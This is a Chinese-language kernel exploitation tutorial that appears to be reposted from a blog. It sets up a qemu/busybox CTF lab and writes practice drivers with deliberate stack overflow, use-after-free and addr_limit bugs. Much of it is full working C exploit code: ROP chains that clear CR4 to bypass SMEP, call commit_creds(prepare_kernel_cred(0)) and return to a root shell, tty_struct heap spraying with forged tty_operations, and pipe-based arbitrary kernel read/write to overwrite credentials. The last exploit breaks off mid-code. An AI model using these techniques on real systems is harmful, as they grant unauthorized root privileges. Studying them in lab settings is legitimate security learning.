linux kernel pwn notes(内核漏洞利用总结)
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篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了linux kernel pwn notes(内核漏洞利用总结)相关的知识,希望对你有一定的参考价值。
前言
对这段时间学习的 linux
内核中的一些简单的利用技术做一个记录,如有差错,请见谅。
相关的文件
https://gitee.com/hac425/kernel_ctf
相关引用已在文中进行了标注,如有遗漏,请提醒。
环境搭建
对于 ctf
中的 pwn
一般都是给一个 linux
内核文件 和一个 busybox
文件系统,然后用 qemu
启动起来。而且我觉得用 qemu
调试时 gdb
的反应比较快,也没有一些奇奇怪怪的问题。所以推荐用 qemu
来调,如果是真实漏洞那 vmware
双机调试肯定是逃不掉的 (:_。
编译内核
首先去 linux
内核的官网下载 内核源代码
https://mirrors.edge.kernel.org/pub/linux/kernel/
我用的
ubuntu 16.04
来编译内核,默认的gcc
比较新,所以编译了4.4.x
版本,免得换gcc
安装好一些编译需要的库
apt-get install libncurses5-dev build-essential kernel-package
进入内核源代码目录
make menuconfig
配置一下编译参数,注意就是修改下面列出的一些选项 (没有的选项就不用管了
由于我们需要使用kgdb调试内核,注意下面这几项一定要配置好:
KernelHacking -->
- 选中Compile the kernel with debug info
- 选中Compile the kernel with frame pointers
- 选中KGDB:kernel debugging with remote gdb,其下的全部都选中。
Processor type and features-->
- 去掉Paravirtualized guest support
KernelHacking-->
- 去掉Write protect kernel read-only data structures(否则不能用软件断点)
参考
编译 busybox && 构建文件系统
编译 busybox
启动内核还需要一个简单的文件系统和一些命令,可以使用 busybox
来构建
首先下载,编译 busybox
cd ..
wget https://busybox.net/downloads/busybox-1.19.4.tar.bz2 # 建议改成最新的 busybox
tar -jxvf busybox-1.19.4.tar.bz2
cd busybox-1.19.4
make menuconfig
make install
编译的一些配置
make menuconfig 设置
Busybox Settings -> Build Options -> Build Busybox as a static binary 编译成 静态文件
关闭下面两个选项
Linux System Utilities -> [] Support mounting NFS file system 网络文件系统
Networking Utilities -> [] inetd (Internet超级服务器)
构建文件系统
编译完,、make install
后, 在 busybox
源代码的根目录下会有一个 _install
目录下会存放好编译后的文件。
然后配置一下
cd _install
mkdir proc sys dev etc etc/init.d
vim etc/init.d/rcS
chmod +x etc/init.d/rcS
就是创建一些目录,然后创建 etc/init.d/rcS
作为 linux
启动脚本, 内容为
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
/sbin/mdev -s
记得加上 x
权限,允许脚本的执行。
配置完后的目录结构
然后调用
find . | cpio -o --format=newc > ../rootfs.img
创建文件系统
接着就可以使用 qemu
来运行内核了。
qemu-system-x86_64 -kernel ~/linux-4.1.1/arch/x86_64/boot/bzImage -initrd ~/linux-4.1.1/rootfs.img -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" -cpu kvm64,+smep,+smap --nographic -gdb tcp::1234
对一些选项解释一下
-cpu kvm64,+smep,+smap
设置CPU
的安全选项, 这里开启了smap
和smep
-kernel
设置内核bzImage
文件的路径
-initrd
设置刚刚利用busybox
创建的rootfs.img
,作为内核启动的文件系统
-gdb tcp::1234
设置gdb
的调试端口 为1234
参考
内核模块创建与调试
创建内核模块
在学习阶段还是自己写点简单 内核模块 (驱动) 来练习比较好。这里以一个简单的用于测试 通过修改 thread_info->addr_limit 来提权 的模块为例
首先是源代码程序 arbitrarily_write.c
#include <linux/module.h>
#include <linux/types.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/errno.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/device.h>
#include<linux/slab.h>
#include<linux/string.h>
struct class *arw_class;
struct cdev cdev;
char *p;
int arw_major=248;
struct param
{
size_t len;
char* buf;
char* addr;
};
char buf[16] = {0};
long arw_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
struct param par;
struct param* p_arg;
long p_stack;
long* ptr;
struct thread_info * info;
copy_from_user(&par, arg, sizeof(struct param));
int retval = 0;
switch (cmd) {
case 8:
printk("current: %p, size: %d, buf:%p
", current, par.len, par.buf);
copy_from_user(buf, par.buf, par.len);
break;
case 7:
printk("buf(%p), content: %s
", buf, buf);
break;
case 5:
p_arg = (struct param*)arg;
p_stack = (long)&retval;
p_stack = p_stack&0xFFFFFFFFFFFFC000;
info = (struct thread_info * )p_stack;
printk("addr_limit‘s addr: 0x%p
", &info->addr_limit);
memset(&info->addr_limit, 0xff, 0x8);
// 返回 thread_info 的地址, 模拟信息泄露
put_user(info, &p_arg->addr);
break;
case 999:
p = kmalloc(8, GFP_KERNEL);
printk("kmalloc(8) : %p
", p);
break;
case 888://数据清零
kfree(p);
printk("kfree : %p
", p);
break;
default:
retval = -1;
break;
}
return retval;
}
static const struct file_operations arw_fops = {
.owner = THIS_MODULE,
.unlocked_ioctl = arw_ioctl,//linux 2.6.36内核之后unlocked_ioctl取代ioctl
};
static int arw_init(void)
{
//设备号
dev_t devno = MKDEV(arw_major, 0);
int result;
if (arw_major)//静态分配设备号
result = register_chrdev_region(devno, 1, "arw");
else {//动态分配设备号
result = alloc_chrdev_region(&devno, 0, 1, "arw");
arw_major = MAJOR(devno);
}
// 打印设备号
printk("arw_major /dev/arw: %d", arw_major);
if (result < 0)
return result;
arw_class = class_create(THIS_MODULE, "arw");
device_create(arw_class, NULL, devno, NULL, "arw");
cdev_init(&cdev, &arw_fops);
cdev.owner = THIS_MODULE;
cdev_add(&cdev, devno, 1);
printk("arw init success
");
return 0;
}
static void arw_exit(void)
{
cdev_del(&cdev);
device_destroy(arw_class, MKDEV(arw_major, 0));
class_destroy(arw_class);
unregister_chrdev_region(MKDEV(arw_major, 0), 1);
printk("arw exit success
");
}
MODULE_AUTHOR("exp_ttt");
MODULE_LICENSE("GPL");
module_init(arw_init);
module_exit(arw_exit);
注册了一个 字符设备, 设备文件路径为 /dev/arw
, 实现了 arw_ioctl
函数,用户态可以通过 ioctl
和这个函数进行交互。
在 qemu
中创建设备文件,貌似不会帮我们自动创建设备文件,需要手动调用 mknod
创建设备文件,此时需要设备号,于是在注册驱动时把拿到的 主设备号 打印了出来, 次设备号 从 0 开始试 。创建好设备文件后要设置好权限,使得普通用户可以访问。
然后是测试代码(用户态调用)test.c
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
struct param
{
size_t len;
char* buf;
char* addr;
};
int main(void)
{
int fd;
char buf[16];
fd = open("/dev/arw", O_RDWR);
if (fd == -1) {
printf("open hello device failed!
");
return -1;
}
struct param p;
p.len = 8;
p.buf = malloc(32);
strcpy(p.buf, "hello");
ioctl(fd, 8, &p);
ioctl(fd, 7, &p);
return 0;
}
打开设备文件,然后使用 ioctl
和刚刚驱动进行交互。
接下来是Makefile
obj-m := arbitrarily_write.o
KERNELDIR := /home/haclh/linux-4.1.1
PWD := $(shell pwd)
OUTPUT := $(obj-m) $(obj-m:.o=.ko) $(obj-m:.o=.mod.o) $(obj-m:.o=.mod.c) modules.order Module.symvers
modules:
$(MAKE) -C $(KERNELDIR) M=$(PWD) modules
gcc -static test.c -o test
clean:
rm -rf $(OUTPUT)
rm -rf test
test.c
要静态编译,busybox
编译的文件系统,没有libc
.把
KERNELDIR
改成 内核源代码的根目录。
同时还创建了一个脚本用于在 qemu
加载的系统中,加载模块,创建设备文件,新增测试用的普通用户。
mknod.sh
mkdir /home
mkdir /home/hac425
touch /etc/passwd
touch /etc/group
adduser hac425
insmod arbitrarily_write.ko
mknod /dev/arw c 248 0
chmod 777 /dev/arw
cat /proc/modules
mknod
命令的参数根据实际情况进行修改
为了方便对代码进行修改,写了个 shell
脚本,一件完成模块和测试代码的编译、 rootfs.img
的重打包 和 qemu
运行。
start.sh
PWD=$(pwd)
make clean
sleep 0.5
make
sleep 0.5
rm ~/busybox-1.27.1/_install/{*.ko,test}
cp mknod.sh test *.ko ~/busybox-1.27.1/_install/
cd ~/busybox-1.27.1/_install/
rm ~/linux-4.1.1/rootfs.img
find . | cpio -o --format=newc > ~/linux-4.1.1/rootfs.img
cd $PWD
qemu-system-x86_64 -kernel ~/linux-4.1.1/arch/x86_64/boot/bzImage -initrd ~/linux-4.1.1/rootfs.img -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" -cpu kvm64,+smep --nographic -gdb tcp::1234
然后 ./start.sh
,就可以运行起来了。
进入系统后,首先使用 mknod.sh
安装模块,创建好设备文件等操作,然后切换到一个普通用户,执行 test
测试驱动是否正常。对比源代码,可以判断驱动是正常运行的
gdb调试
用 qemu
运行内核时,加了一个 -gdb tcp::1234
的参数, qemu
会在 1234
端口起一个 gdb_server
,我们直接用 gdb
连上去即可。
记得加载
vmlinux
文件,以便在调试的时候可以有调试符号。
为了调试内核模块,还需要加载 驱动的 符号文件,首先在系统里面获取驱动的加载基地址。
/ # cat /proc/modules | grep arb
arbitrarily_write 2168 0 - Live 0xffffffffa0000000 (O)
/ #
然后在 gdb
里面加载
gef? add-symbol-file ~/kernel/arbitrarily_write/arbitrarily_write.ko 0xffffffffa0000000
add symbol table from file "/home/haclh/kernel/arbitrarily_write/arbitrarily_write.ko" at
.text_addr = 0xffffffffa0000000
Reading symbols from /home/haclh/kernel/arbitrarily_write/arbitrarily_write.ko...done.
gef?
此时就可以直接对驱动的函数下断点了
b arw_ioctl
然后运行测试程序 ( test
),就可以断下来了。
利用方式汇总
内核 Rop
Rop-By-栈溢出
本节的相关文件位于 kmod
准备工作
开始打算直接用
https://github.com/black-bunny/LinKern-x86_64-bypass-SMEP-KASLR-kptr_restric
里面给的内核镜像,发现有些问题。于是自己编译了一个 linux 4.4.72
的镜像,然后自己那他的源码编译了驱动。
默认编译驱动开了栈保护,懒得重新编译内核了,于是直接 在 驱动里面 patch 掉了 栈保护的检测代码。
漏洞
漏洞位于 vuln_write
函数
static ssize_t vuln_write(struct file *f, const char __user *buf,size_t len, loff_t *off)
{
char buffer[100]={0};
if (_copy_from_user(buffer, buf, len))
return -EFAULT;
buffer[len-1]=‘ ‘;
printk("[i] Module vuln write: %s
", buffer);
strncpy(buffer_var,buffer,len);
return len;
}
可以看到 _copy_from_user
的参数都是我们控制的,然后把内容读入了栈中的 buffer
, 简单的栈溢出。
把驱动拖到 ida
里面,发现没有开启 cancary
, 同时 buffer
距离 返回地址的 偏移为 0x7c
所以只要读入超过 0x7c
个字节的数据就可以覆盖到 返回地址,控制 rip
利用
如果没有开启任何保护的话,直接把返回地址改成用户态的 函数,然后调用
commit_creds(prepare_kernel_cred(0))
就可以完成提权了。
秉着学习的态度,这里我开了 smep
。 这个安全选项的作用是禁止内核去执行用户空间的代码。
但是我们依旧可以执行内核的代码 ,于是在内核 进行 ROP。
ROP
的话有两种思路
- 利用
ROP
,执行commit_creds(prepare_kernel_cred(0))
, 然后iret
返回用户空间。 - 利用
ROP
关闭smep
, 然后进行ret2user
攻击。
利用 rop 直接提权
此时布置的 rop
链 类似下面
就是 调用 commit_creds(prepare_kernel_cred(0))
, 然后 iret
返回到用户空间。
参考
利用 rop 关闭 smep && ret2user
系统根据 cr4 寄存器的值判断是否开启 smep, 然而 cr4 寄存器可以使用 mov 指令进行修改,于是事情就变得简单了,利用 rop
设置 cr4
为 0x6f0
(这个值可以通过用 cr4原始值 & 0xFFFFF
得到), 然后 iret
到用户空间去执行提权代码。
在
gdb
中貌似看不到cr4
寄存器,可以从 内核的崩溃信息里面获取 开启smep
下的cr4
寄存器值
exp
:
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
// 两个函数的地址
_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810;
unsigned long xchg_eax_esp = 0xFFFFFFFF81007808;
unsigned long rdi_to_cr4 = 0xFFFFFFFF810635B4; // mov cr4, rdi ;pop rbp ; ret
unsigned long pop_rdi_ret = 0xFFFFFFFF813E7D6F;
unsigned long iretq = 0xffffffff814e35ef;
unsigned long swapgs = 0xFFFFFFFF81063694; // swapgs ; pop rbp ; ret
unsigned long poprbpret = 0xffffffff8100202b; //pop rbp, ret
unsigned long mmap_base = 0xb0000000;
void get_shell() {
system("/bin/sh");
}
void get_root() {
commit_creds(prepare_kernel_cred(0));
}
/* status */
unsigned long user_cs, user_ss, user_rflags;
void save_stats() {
asm(
"movq %%cs, %0
" // mov rcx, cs
"movq %%ss, %1
" // mov rdx, ss
"pushfq
" // 把rflags的值压栈
"popq %2
" // pop rax
:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory" // mov user_cs, rcx; mov user_ss, rdx; mov user_flags, rax
);
}
int main(void)
{
int fd;
char buf[16];
fd = open("/dev/vuln", O_RDWR);
if (fd == -1) {
printf("open /dev/vuln device failed!
");
return -1;
}
save_stats();
printf("mmap_addr: %p
", mmap(mmap_base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0));
// 布局 rop 链
unsigned long rop_chain[] = {
pop_rdi_ret,
0x6f0,
rdi_to_cr4, // cr4 = 0x6f0
mmap_base + 0x10000,
(unsigned long)get_root,
swapgs, // swapgs; pop rbp; ret
mmap_base, // rbp = base
iretq,
(unsigned long)get_shell,
user_cs,
user_rflags,
mmap_base + 0x10000,
user_ss
};
char * payload = malloc(0x7c + sizeof(rop_chain));
memset(payload, 0xf1, 0x7c + sizeof(rop_chain));
memcpy(payload + 0x7c, rop_chain, sizeof(rop_chain));
write(fd, payload, 0x7c + sizeof(rop_chain));
return 0;
}
说说 rop 链
- 首先使用
pop rdi && mov cr4,rdi
,修改cr4
寄存器,关掉smep
- 然后
ret2user
去执行用户空间的get_root
函数,执行commit_creds(prepare_kernel_cred(0))
完成提权 - 然后
swapgs
和iret
返回用户空间,起一个root
权限的shell
。
参考
Linux Kernel x86-64 bypass SMEP - KASLR - kptr_restric
Rop-By-Heap-Vulnerability
漏洞
首先放源码,位于 heap_bof
驱动的代码基本差不多,区别点主要在 ioctl
处
char *ptr[40]; // 指针数组,用于存放分配的指针
struct param
{
size_t len; // 内容长度
char* buf; // 用户态缓冲区地址
unsigned long idx; // 表示 ptr 数组的 索引
};
............................
............................
............................
long bof_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
struct param* p_arg;
p_arg = (struct param*)arg;
int retval = 0;
switch (cmd) {
case 9:
copy_to_user(p_arg->buf, ptr[p_arg->idx], p_arg->len);
printk("copy_to_user: 0x%x
", *(long *)ptr[p_arg->idx]);
break;
case 8:
copy_from_user(ptr[p_arg->idx], p_arg->buf, p_arg->len);
break;
case 7:
kfree(ptr[p_arg->idx]);
printk("free: 0x%p
", ptr[p_arg->idx]);
break;
case 5:
ptr[p_arg->idx] = kmalloc(p_arg->len, GFP_KERNEL);
printk("alloc: 0x%p, size: %2x
", ptr[p_arg->idx], p_arg->len);
break;
default:
retval = -1;
break;
}
return retval;
}
首先定义了一个 指针数组 ptr[40]
,用于存放分配的内存地址的指针。
实现了驱动的 ioctl
接口来向用户态提供服务。
cmd
为5
时,根据参数调用kmalloc
分配内存,然后把分配好的指针,存放在ptr[p_arg->idx]
, 为了调试的方便,打印了分配到的内存指针cmd
为7
时,释放掉ptr
数组中指定项的指针,kfree
之后没有对ptr
中的指定项置0。cmd
为8
时,往ptr
数组中 指定项的指针中写入 数据,长度不限.cmd
为9
时, 获取 指定项 的指针 里面的 数据,然后拷贝到用户空间。
驱动的漏洞还是很明显的, 堆溢出 以及 UAF
.
利用
slub简述
要进行利用的话还需要了解 内核的内存分配策略。
在 linux
内核 2.26
以上的版本,默认使用 slub
分配器进行内存管理。slub
分配器按照零售式的内存分配。他会把大小相近的对象(分配的内存)放到同一个 slab
中进行分配。
它首先向系统分配一个大的内存,然后把它分成大小相等的内存块进行内存的分配,同时在分配内存时会对分配的大小 向上取整分配。
可以查看 /proc/slabinfo
获取当前系统 的 slab
信息
这里介绍下 kmalloc-xxx
,这些 slab
用于给 kmalloc
进行内存分配。 假如要分配 0x2e0
,向上取整就是 kmalloc-1024
所以实际会使用 kmalloc-1024
分配 1024
字节的内存块。
而且 slub
分配内存不像 glibc
中的malloc
, slub
分配的内存的首部是没有元数据的(如果内存块处于释放状态的话会有一个指针,指向下一个 free 的块)。
所以如果分配几个大小相同的内存块, 它们会紧密排在一起(不考虑内存碎片的情况)。
给个例子(详细代码可以看最后的 exp
)
struct param p;
p.len = 0x2e0;
p.buf = malloc(p.len);
for (int i = 0; i < 10; ++i)
{
p.idx = i;
ioctl(fds[i], 5, &p); // malloc
}
这一小段代码的作用是 通过 ioctl
让驱动调用10
次 kmalloc(0x2e0, GFP_KERNEL)
,驱动打印出的分配的地址如下
[ 7.095323] alloc: 0xffff8800027ee800, size: 2e0
[ 7.101074] alloc: 0xffff8800027ef000, size: 2e0
[ 7.107161] alloc: 0xffff8800027ef400, size: 2e0
[ 7.111211] alloc: 0xffff8800027ef800, size: 2e0
[ 7.115165] alloc: 0xffff8800027efc00, size: 2e0
[ 7.131237] alloc: 0xffff880002791c00, size: 2e0
[ 7.138591] alloc: 0xffff880003604000, size: 2e0
[ 7.141208] alloc: 0xffff880003604400, size: 2e0
[ 7.146466] alloc: 0xffff880003604800, size: 2e0
[ 7.154290] alloc: 0xffff880003604c00, size: 2e0
可以看到除了第一个(内存碎片的原因),其他分配到的内存的地址相距都是 0x400
, 这说明内核实际给我的空间是 0x400
.
尽管我们要分配的是 0x2e0
,实际内核会把大小向上取整 到 0x400
参考
代码执行
对于堆溢出和 UAF
漏洞,其实利用思路都差不多,就是想办法修改一些对象的数据,来达到提权的目的,比如改函数表指针然后执行代码提权, 修改 cred
结构体直接提权等。
这里介绍通过修改 tty_struct
中的 ops
来进行 rop
绕过 smep
提权的技术。
结构体定义在 linux/tty.h
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
其中有一个 ops
项(64bit
下位于 结构体偏移 0x18
处)是一个 struct tty_operations *
结构体。 它里面都是一些函数指针,用户态可以通过一些函数触发这些函数的调用。
当 open("/dev/ptmx",O_RDWR|O_NOCTTY)
内核会分配 tty_struct
结构体,64
位下改结构体的大小为 0x2e0
(可以自己编译一个同版本的内核,然后在 gdb
里面看),所以实现代码执行的思路就很简单了
- 通过
ioctl
让驱动分配若干个0x2e0
的 内存块 - 释放其中的几个,然后调用若干次
open("/dev/ptmx",O_RDWR|O_NOCTTY)
,会分配若干个tty_struct
, 这时其中的一些tty_struct
会落在 刚刚释放的那些内存块里面 - 利用 驱动中 的
uaf
或者 溢出,修改 修改tty_struct
的ops
到我们mmap
的一块空间,进行tty_operations
的伪造, 伪造ops->ioctl
为 要跳转的位置。 - 然后 对
/dev/ptmx
的文件描述符,进行ioctl
,实现代码执行
rop
因为开启了 smep
所以需要先 使用 rop
关闭 smep
, 然后在 执行 commit_creds(prepare_kernel_cred(0))
完成提权。
这里有一个小 tips
,通过 tty_struct
执行 ioctl
时, rax
的值正好是 rip
的值,然后使用 xchg eax,esp;ret
就可以把 rsp
设置为 rax&0xffffffff
(其实就是 &ops->ioctl
的低四个字节)。
于是 堆漏洞的 rop
思路如下(假设 xchg_eax_esp
为 xchg eax,esp
指令的地址 )
- 首先使用
mmap
, 分配xchg_eax_esp&0xffffffff
作为fake_stack
并在这里布置好rop
链 - 修改
ops->ioctl
为xchg_eax_esp
- 触发
ops->ioctl
, 然后会跳转到xchg_eax_esp
,此时rax=rip=xchg_eax_esp
, 执行xchg eax,esp
后 rsp为xchg_eax_esp&0xffffffff
, 之后就是 根据 事先布置好的rop chain
进行rop
了。
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
const struct file_operations *proc_fops;
};
struct param
{
size_t len;
char* buf;
unsigned long idx;
};
typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
// 两个函数的地址
_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810;
unsigned long xchg_eax_esp = 0xFFFFFFFF81007808;
unsigned long rdi_to_cr4 = 0xFFFFFFFF810635B4; // mov cr4, rdi ;pop rbp ; ret
unsigned long pop_rdi_ret = 0xFFFFFFFF813E7D6F;
unsigned long iretq = 0xffffffff814e35ef;
unsigned long swapgs = 0xFFFFFFFF81063694; // swapgs ; pop rbp ; ret
unsigned long poprbpret = 0xffffffff8100202b; //pop rbp, ret
void get_shell() {
system("/bin/sh");
}
void get_root() {
commit_creds(prepare_kernel_cred(0));
}
/* status */
unsigned long user_cs, user_ss, user_rflags;
void save_stats() {
asm(
"movq %%cs, %0
" // mov rcx, cs
"movq %%ss, %1
" // mov rdx, ss
"pushfq
" // 把rflags的值压栈
"popq %2
" // pop rax
:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory" // mov user_cs, rcx; mov user_ss, rdx; mov user_flags, rax
);
}
int main(void)
{
int fds[10];
int ptmx_fds[0x100];
char buf[8];
int fd;
unsigned long mmap_base = xchg_eax_esp & 0xffffffff;
struct tty_operations *fake_tty_operations = (struct tty_operations *)malloc(sizeof(struct tty_operations));
memset(fake_tty_operations, 0, sizeof(struct tty_operations));
fake_tty_operations->ioctl = (unsigned long) xchg_eax_esp; // 设置tty的ioctl操作为栈转移指令
fake_tty_operations->close = (unsigned long)xchg_eax_esp;
for (int i = 0; i < 10; ++i)
{
fd = open("/dev/bof", O_RDWR);
if (fd == -1) {
printf("open bof device failed!
");
return -1;
}
fds[i] = fd;
}
printf("%p
", fake_tty_operations);
save_stats();
printf("mmap_addr: %p
", mmap(mmap_base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0));
// 布局 rop 链
unsigned long rop_chain[] = {
pop_rdi_ret,
0x6f0,
rdi_to_cr4, // cr4 = 0x6f0
mmap_base + 0x10000,
(unsigned long)get_root,
swapgs, // swapgs; pop rbp; ret
mmap_base, // rbp = base
iretq,
(unsigned long)get_shell,
user_cs,
user_rflags,
mmap_base + 0x10000,
user_ss
};
// 触发漏洞前先把 rop 链拷贝到 mmap_base
memcpy(mmap_base, rop_chain, sizeof(rop_chain));
struct param p;
p.len = 0x2e0;
p.buf = malloc(p.len);
// 让驱动分配 10 个 0x2e0 的内存块
for (int i = 0; i < 10; ++i)
{
p.idx = i;
ioctl(fds[i], 5, &p); // malloc
}
// 释放中间的几个
for (int i = 2; i < 6; ++i)
{
p.idx = i;
ioctl(fds[i], 7, &p); // free
}
// 批量 open /dev/ptmx, 喷射 tty_struct
for (int i = 0; i < 0x100; ++i)
{
ptmx_fds[i] = open("/dev/ptmx",O_RDWR|O_NOCTTY);
if (ptmx_fds[i]==-1)
{
printf("open ptmx err
");
}
}
p.idx = 2;
p.len = 0x20;
ioctl(fds[4], 9, &p);
// 此时如果释放后的内存被 tty_struct
// 占用,那么他的开始字节序列应该为
//
for (int i = 0; i < 16; ++i)
{
printf("%2x ", p.buf[i]);
}
printf("
");
// 批量修改 tty_struct 的 ops 指针
unsigned long *temp = (unsigned long *)&p.buf[24];
*temp = (unsigned long)fake_tty_operations;
for (int i = 2; i < 6; ++i)
{
p.idx = i;
ioctl(fds[4], 8, &p);
}
// getchar();
for (int i = 0; i < 0x100; ++i)
{
ioctl(ptmx_fds[i], 0, 0);
}
getchar();
return 0;
}
参考
利用 thread_info->addr_limit
DEMO
这里使用的代码就是 内核模块创建与调试 中的示例代码。
代码中大部分都是用来测试一些内核函数,其中对本节内容有效的代码为:
long arw_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
.....................
.....................
.....................
switch (cmd) {
.....................
.....................
.....................
case 5:
p_arg = (struct param*)arg;
p_stack = (long)&retval;
p_stack = p_stack&0xFFFFFFFFFFFFC000;
info = (struct thread_info * )p_stack;
printk("addr_limit‘s addr: 0x%p
", &info->addr_limit);
memset(&info->addr_limit, 0xff, 0x8);
// 返回 thread_info 的地址, 模拟信息泄露
put_user(info, &p_arg->addr);
break;
利用栈地址拿到 thread_info 的地址
首先模拟了一个内核的信息泄露。
利用 程序的局部变量的地址 (&retval
) 获得内核栈的地址。又因为 thread_info
位于内核栈顶部而且是 8k
(或者 4k
) 对齐的
union thread_union {
struct thread_info thread_info;
unsigned long stack[THREAD_SIZE/sizeof(long)];
};
所以利用 栈地址 & (~(THREAD_SIZE - 1)) 就可以计算出 thread_info
的地址。
THREAD_SIZE
可以为 4k
, 8k
或者是 16k
。
可以在 Linux 源代码 里面搜索。
x86_64 定义在 arch/x86/include/asm/page_64_types.h
#ifdef CONFIG_KASAN
#define KASAN_STACK_ORDER 1
#else
#define KASAN_STACK_ORDER 0
#endif
#define THREAD_SIZE_ORDER (2 + KASAN_STACK_ORDER)
#define THREAD_SIZE (PAGE_SIZE << THREAD_SIZE_ORDER)// 左移 2, 页大小为 4k, 所以是 16k
#define CURRENT_MASK (~(THREAD_SIZE - 1))
PAGE_SIZE
为 4096
, THREAD_SIZE_ORDER
为 2
, 所以 THREAD_SIZE= 4 * 4096=0x4000
所以 (~(THREAD_SIZE - 1)) 为
>>> hex(~(0x4000-1)&0xffffffffffffffff)
‘0xffffffffffffc000L‘
所以 thread_info
的地址就是 p_stack&0xFFFFFFFFFFFFC000
, 然后利用 put_user
传递给 用户态。
修改 thread_info->addr_limit
thread_info->addr_limit
用于限制用户态程序能访问的地址的最大值,如果把它修改成 0xffffffffffffffff
,我们就可以读写整个内存空间了 包括 内核空间
struct thread_info {
struct task_struct *task; /* main task structure */
__u32 flags; /* low level flags */
__u32 status; /* thread synchronous flags */
__u32 cpu; /* current CPU */
mm_segment_t addr_limit;
unsigned int sig_on_uaccess_error:1;
unsigned int uaccess_err:1; /* uaccess failed */
};
在 thread_info
偏移 0x18
(64位)处就是 addr_limit
, 它的类型为 long
。
在驱动的源码中,模拟修改 了 thread_info->addr_limit
的操作,
memset(&info->addr_limit, 0xff, 0x8);
执行完后,我们就可以读写任意内存了。
利用 pipe 实现任意地址读写
修改 thread_info->addr_limit
后,我们还不能直接的进行任意地址读写,需要使用 pipe
来中转一下,具体的原因以后再研究。
int pipefd[2];
//dest 数据的写入位置, src 数据来源, size 大小
int kmemcpy(void *dest, void *src, size_t size)
{
write(pipefd[1], src, size);
read(pipefd[0], dest, size);
return size;
}
先用 pipe(pipefd)
初始化好 pipefd
, 然后使用 kmemcpy
就可以实现任意地址读写了。
如果是泄露内核数据的话,
dest
为 内核地址,src
为 内核地址,同时要关闭smap
如果是对内核数据进行写操作,
dest
为 内核地址,src
为 用户态地址
修改 task_struct->real_cred
我们现在已经有了thread_info
的地址,而且可以对内核进行任意读写,于是通过 修改 task_struct->real_cred
和 task_struct->cred
进行提权。
- 首先通过
thread_info
的地址,拿到task_struct
的地址 (thread_info->task
) - 通过
task_struct->real_cred
和task_struct->cred
相对于task_struct
的偏移,拿到 它们的地址. - 修改
task_struct->real_cred
中从开始 一直 到fsuid
字段(大小为0x1c
) 为0
. - 修改
task_struct->cred = task_struct->real_cred
- 执行
system("sh")
, 获取root
权限的shell
gdb
中获取real_cred
的偏移p &((struct task_struct*)0)->real_cred
完整 exp
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
struct param
{
size_t len;
char* buf;
char* addr;
};
int pipefd[2];
int kmemcpy(void *dest, void *src, size_t size)
{
write(pipefd[1], src, size);
read(pipefd[0], dest, size);
return size;
}
int main(void)
{
int fd;
char buf[16];
fd = open("/dev/arw", O_RDWR);
if (fd == -1) {
printf("open hello device failed!
");
return -1;
}
struct param p;
ioctl(fd, 5, &p);
printf("got thread_info: %p
", p.addr);
char * info = p.addr;
int ret_val = pipe(pipefd);
if (ret_val < 0) {
printf("pipe failed: %d
", ret_val);
exit(1);
}
kmemcpy(buf, info, 16);
void* task_addr = (void *)(*(long *)buf);
